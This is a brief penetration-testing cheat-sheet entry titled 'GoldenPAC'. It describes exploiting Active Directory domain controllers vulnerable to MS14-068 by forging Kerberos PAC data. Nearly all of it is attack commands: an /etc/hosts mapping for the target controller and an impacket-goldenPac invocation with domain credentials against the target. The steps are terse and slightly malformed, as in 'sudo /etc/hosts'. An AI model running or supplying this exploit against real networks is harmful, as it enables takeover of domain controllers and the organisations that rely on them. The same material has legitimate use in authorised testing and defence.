GoldenPAC

When DC is vulnerable to MS14-068 and forging kerberos pac files

sudo /etc/hosts

#IP DomainHostName RootDomainName FQDN - for use with Ipacket-goldenpac

10.0.0.1 Trg domain.loc Trg.domain.loc

cd impacket/examples

impacket-goldenPac 'domain.loc/user:Password@Trg'